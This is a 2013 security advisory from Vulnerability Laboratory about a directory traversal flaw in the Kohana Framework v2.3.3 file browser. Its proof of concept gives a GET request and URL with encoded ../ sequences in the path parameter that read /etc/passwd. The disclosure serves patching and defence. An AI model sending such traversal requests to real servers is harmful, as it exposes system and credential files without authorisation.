171 lines
6.2 KiB
Text
Executable file
171 lines
6.2 KiB
Text
Executable file
Title:
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======
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Kohana Framework v2.3.3 - Directory Traversal Vulnerability
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Date:
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=====
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2013-01-27
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References:
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===========
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http://www.vulnerability-lab.com/get_content.php?id=841
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VL-ID:
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=====
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837
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Common Vulnerability Scoring System:
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====================================
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7.1
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Introduction:
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=============
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Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be
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swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built
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using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code
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profiling, encryption, validation, and more.
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Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for
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commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and
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carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand
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what is happening. Simple and effective tools help identify and solve performance issues quickly.
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(Copy of the Vendor Homepage: http://kohanaframework.org/ )
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Abstract:
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=========
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The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System.
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Report-Timeline:
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================
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2013-01-27: Public Disclosure
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Status:
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========
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Published
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Affected Products:
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==================
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Kohana
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Product: Framework - Content Management System 2.3.3
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Exploitation-Technique:
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=======================
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Remote
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Severity:
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=========
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High
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Details:
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========
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A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application.
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The vulnerability allows remote attackers to request local directories and files of the web server application system.
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The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request
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the path dir via replace. The filter replaces `../` by null and it applies on file reading requests.
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Review: Kohana/Filebrowser.php
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$thumb = Route::get('wysiwyg/filebrowser')
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->uri(array(
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'action' => 'thumb',
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'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
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));
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Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local
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web server files via directory (path) traversal attack.
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Exploitaton of the vulnerability requires no privileged application user account and no user interaction.
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Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server.
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Vulnerable Module(s):
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[+] Filebrowser
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Vulnerable Function(s):
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[+] str_replace > dir
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Vulnerable Parameter(s):
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[+] ?path
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Proof of Concept:
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=================
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The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.
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For demonstration or reproduce ...
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Review: Kohana/Filebrowser.php
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$thumb = Route::get('wysiwyg/filebrowser')
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->uri(array(
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'action' => 'thumb',
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'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
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));
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Review: GET Request
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GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..
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%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd
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HTTP/1.0
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Host: media.[server].com
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User-Agent: Kami VL
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PoC:
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http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd
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Risk:
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=====
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The security risk of the directory traversal web vulnerability is estimated as high(+).
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Credits:
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========
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Vulnerability Laboratory [Research Team] - Karim B. (kami@vulnerability-lab.com)
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Disclaimer:
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===========
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The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
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Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
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Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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Copyright ? 2012 | Vulnerability Laboratory
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--
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VULNERABILITY RESEARCH LABORATORY
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LABORATORY RESEARCH TEAM
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CONTACT: research@vulnerability-lab.com
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